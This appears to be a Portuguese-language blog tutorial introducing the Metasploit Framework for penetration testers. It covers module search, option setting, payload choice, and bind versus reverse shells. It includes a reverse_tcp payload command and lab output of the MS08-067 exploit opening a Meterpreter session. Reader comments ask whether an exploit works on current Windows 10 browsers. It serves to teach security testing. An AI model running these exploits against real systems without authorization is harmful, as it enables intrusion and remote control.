Introdução ao Metasploit Framework

image_pdfimage_print

Veremos o Metasploit Framework, uma ferramenta que tornou-se padrão para pentesters. Lançado pela primeira vez em 2003, Metasploit alcançou status na comunidade de segurança. Embora Metasploit agora seja de propriedade da empresa de segurança Rapid7, uma edição de código aberto está ainda disponível, com o desenvolvimento em grande parte impulsionado pela comunidade de segurança.

A arquitetura modular e flexível do Metasploit ajuda os desenvolvedores de forma eficiente a criar exploits que trabalham de acordo com as novas vulnerabilidades quando são descobertas. Como você verá, Metasploit é intuitiva e fácil de usar, e oferece uma forma centralizada para executar código confiável de exploração que foi analisado com precisão pela comunidade de segurança.

Por que usar o Metasploit?

Digamos que você descobriu uma vulnerabilidade no ambiente de seu cliente usando o sistema Windows XP no 192.168.20.10 e está faltando Microsoft boletim de segurança MS08-067. Como um pentester, é sua função explorar esta vulnerabilidade, se possível, e avaliar o risco de compromete-lo.

Uma abordagem pode ser a de criar, em seu laboratório um sistema Windows XP, que também está faltando este patch, tentar disparar a vulnerabilidade, e desenvolver um trabalho exploração. Mas o desenvolvimento de exploits na mão leva tempo e habilidade, e a janela de oportunidade para o seu pentest pode estar fechando.

Você poderia, em vez disto, procurar o código que explora a vulnerabilidade na Internet. Sites como o Packet Storm Security, SecurityFocus e Exploit-DB fornecem repositórios de exploits conhecidos. Mas esteja avisado: Nem todos os códigos de exploits públicos fazem o que ele deveriam fazer. Alguns exploits podem destruir o sistema alvo ou até mesmo atacar seu próprio sistema, em vez do alvo. Você deve estar sempre vigilante ao executar qualquer coisa que você encontrar on-line e ler o código com cuidado antes de confiar nele. Além disso, os exploits públicos que você encontrar pode não atender às suas necessidades logo de cara. Você pode precisar fazer algum trabalho adicional para portá-las para o seu ambiente de pentest.

Seja desenvolver um exploit do zero ou usar um público como base, ainda vai precisar de ter o exploit para trabalhar em seu pentest. Nosso tempo provavelmente será melhor gasto em tarefas que são difíceis de automatizar e, felizmente, podemos usar Metasploit para fazer exploração de vulnerabilidades conhecidas, tais como a MS08-067 de forma rápida e sem atrasos.

Iniciando o Metasploit

No Kali Linux, o Metasploit pode iniciar em qualquer lugar no sistema. Mas antes de começar Metasploit, você vai querer começar o banco de dados PostgreSQL, que Metasploit vai usar para acompanhar o que você faz.

root@kali:~# service postgresql start

Agora você está pronto para iniciar o serviço Metasploit. Este comando cria um usuário do PostgreSQL chamado msf3 e um banco de dados correspondente para armazenar nossos dados. Ele também começa a chamada de procedimento remoto do Metasploit (RPC) do servidor e servidor web.

Existem várias interfaces para usar Metasploit. Vamos usar msfconsole, o console baseado em texto Metasploit e Msfcli, a interface de linha de comando. De qualquer interface pode ser usada para executar módulos Metasploit. Inicie o console inserindo msfconsole.

root@kali:~# msfconsole

Não se assuste se msfconsole parecer travar por um ou dois minutos; O Metasploit está carregando os módulos na hora. Assim que terminar, será exibida uma arte ASCII, uma lista de versão e outros detalhes, e um prompt msf>.

Msfconsole

Msfconsole

Veja que ao iniciar o Metasploit, ele informa a quantidade de exploits, módulos auxiliares e outras coisas. Ao longo do tempo isto vai crescendo de acordo com que novas vulnerabilidades são descobertas e a comunidade desenvolve.

Caso você tenha dúvidas sobre o que fazer dentro da ferramenta, você pode consultar o help. Caso queira mais detalhes sobre um comando específico, use o help <comando>.

msf > help route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local...

Procurando por módulos

Após realizar uma análise de vulnerabilidade e identificar mais detalhes sobre as falhas do sistema, podemos partir para a busca no Metasploit para encontrar um módulo que explore esta vulnerabilidade em particular. Temos algumas opções. Normalmente, uma simples busca no Google vai encontrar o que você precisa, mas Metasploit também tem um banco de dados on-line de módulos e uma função embutida de pesquisa que você pode usar para pesquisar pelo módulo correto.

O banco de dados on-line de módulos

Você pode usar a página de pesquisa Metasploit para combinar módulos Metasploit com as vulnerabilidades
pelo número Common Vulnerabilities and Exposures (CVE), Open Sourced Vulnerability Database (OSVDB) ID, Bugtraq ID ou Microsoft Security Bulletin, ou você pode pesquisar o texto completo sobre as informações do módulo para uma string.

Rapid7 - Metasploit Module Database

Rapid7 – Metasploit Module Database

Busca embutida

Você também pode usar a busca embutida no Metasploit para achar o módulo pelo nome usando o comando search <string>:

Metasploit - Busca por módulo

Metasploit – Busca por módulo

Após encontrar um módulo que desejamos, podemos obter mais detalhes sobre ele usando o comando info <nome do módulo>, veja:

Metasploit - Comando info

Metasploit – Comando info

Após achar o módulo que deseja usar, você usa o comando use <nome do módulo>

Metasploit - Comando use

Metasploit – Comando use

Configurando as opções do módulo

Após escolher qual módulo iremos usar, temos que definir alguns parâmetros no Metasploit. Para saber quais parâmetros são obrigatórios e opcionais para definirmos, antes de executá-lo, devemos usar o comando show options.

Metasploit - Comando show options

Metasploit – Comando show options

Alguns parâmetros já vem com valores padrões. Perceba também que existe uma coluna “Required” que informa quais campos são obrigatórios e precisam de um valor. No caso do nosso exploit escolhido, precisamos definir os campos SRVHOST e SRVPORT, já o SSL, SSLCert e URIPATH são opcionais. Veremos cada um deles abaixo e outros possíveis campos que podem aparecer, dependendo de cada módulo que você escolher.

SRVHOST

É a máquina que estará esperando pelos dados (ouvindo). Deve inserir um endereço de uma máquina local ou 0.0.0.0. Neste caso, seria a sua máquina atacante.

SRVPORT

A porta local que está aberta ouvindo as informações.

SSL

Informe se será necessário negociar uma conexão SSL

SSLCert

O caminho para o certificado personalizado que foi gerado. Por padrão ele gera um aleatoriamente.

URIPATH

A URI usada para este exploit. Por padrão ele gera um aleatoriamente.

RHOST

Outros exploits podem utilizar este parâmetro, o que significa qual é o host alvo que desejamos fazer o exploit. Este parâmetro é obrigatório (se o exploit escolhido tiver), pois é nele quem você deve apontar para que o Metasploit possa atacar.

RPORT

Refer-se a porta da máquina alvo. Dependendo do exploit escolhido, ele deverá vir com uma porta padrão. Se for um exploit que utiliza a Web, vai pela porta 80. Caso seja um exploit para o serviços SMB do Windows, será pela porta 445, e assim por diante.

Exploit Target

Na imagem exibida, temos que o parâmetro está definido como 0 Automatic Targeting. Neste caso, ele serve para definir qual é o tipo e versão do sistema operacional. Você pode usar o comando show targets para listar quais as opções disponíveis no exploit. Após listar e você identificar qual é o S.O. e a versão, podemos usar o comando set target <número>.

Caso você não saiba com certeza qual é a versão do sistema operacional, você pode deixar que o Metasploit faça o trabalho de reconhecimento e escolha a melhor opção de forma automática baseada no resultado.

Payloads (ou Shellcode)

Baseado no que lemos após o comando show options, definimos todos os parâmetros para usar o exploit, mas ainda precisamos informar ao Metasploit o que ele deve fazer de fato, e para isto devemos usar os payloads. Estão disponíveis diversos payloads na ferramenta, que vão desde simples comandos do Windows até o Metasploit Meterpreter. Escolha um payload compatível e o Metasploit criará uma string do exploit, incluindo o código para disparar a vulnerabilidade e o payload para rodar depois que o exploit for bem sucedido.

Procurando por payloads compatíveis

Use o comando show payloads para que ele possa exibir uma lista dos que são compatíveis. Caso você esqueça de definir um payload, o Metasploit irá utilizar o que estiver marcado como padrão, o que não garante que vai funcionar com o seu sistema alvo. É importante que você defina manualmente qual payload vai usar.

Metasploit - show payloads

Metasploit – show payloads

Para definir qual payload você usará, envie o comando set payload <nome do payload com endereço>. Por exemplo:

msf exploit(ms16_051_vbscript) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp

Executando o exploit

Para enviarmos o nosso exploit com o payload, precisamos usar o comando exploit. Após isso você verá um resultado semelhante a este, caso seja bem sucedido.

msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at
2015-08-31 07:37:05 -0400
meterpreter >

Neste exemplo, foi possível obter um sessão com o meterpreter (meta-interpreter), que é uma parte importante do Metasploit. Com ele, você pode fazer tudo na sua máquina alvo através de comando.

Para sair do meterpreter, use o comando exit.

Tipos de shells

Na lista de payloads compatíveis mostrado no show payloads, você vê uma gama de opções, incluindo shells de comando, Meterpreter, uma speech API ou a execução de um único comando do Windows. Meterpreter ou outras formas de shells, acabam sendo de duas categorias: bind e reverso (reverse).

Bind shells

Uma instrução de bind shell diz para a máquina alvo para abrir uma linha de comando e escutar na porta local. A máquina atacante então se conecta na máquina alvo na porta que está aberta. Entretanto, com o advento dos firewalls, a efetividade dos bind shells tem caído porque firewall de correlação bloqueará o tráfego para portas aleatórias como a 4444.

Reverse shells

Um shell reverso, por outro lado, ativamente envia uma conexão de volta para a máquina atacante, a qual está esperando por uma conexão de entrada. Neste caso, nossa máquina atacante está com uma porta aberta e escutando por uma conexão vinda da nossa máquina alvo, porque é uma conexão reversa, e é mais provável de ser feita através de um firewall.

Quer aprender mais Metasploit?

Learn Ethical Hacking With Kali, Nmap and Metasploit! Metasploit Framework for Beginners Expert Metasploit Penetration Testing Series

Fonte: Weidman, Georgia. Penetration Testing: A Hands-On Introduction to Hacking. 2014

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Tenho interesse por todas as áreas da informática, mas em especial em Gestão, Segurança da Informação, Ethical Hacking e Perícia Forense. Sempre disposto a receber sugestões de assuntos para criar uma postagem.

4 Responses to “Introdução ao Metasploit Framework”

  1. Tom disse:

    Thanks for you fast answer but i was in fact talking about the “ms16_051_vbscript” exploit you were explaining in the start of the blog. Is this one working on windows 10 latest version of IE ?

  2. Tom disse:

    Hey Diego,

    i like this blog post 🙂
    is this exploit working on the latest version of IE on windows 10 ?
    thank you for your time

    Tom

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Quer ficar atualizado?

Inscreva-se em minha newsletter e seja notificado quando eu publicar novos artigos de graça!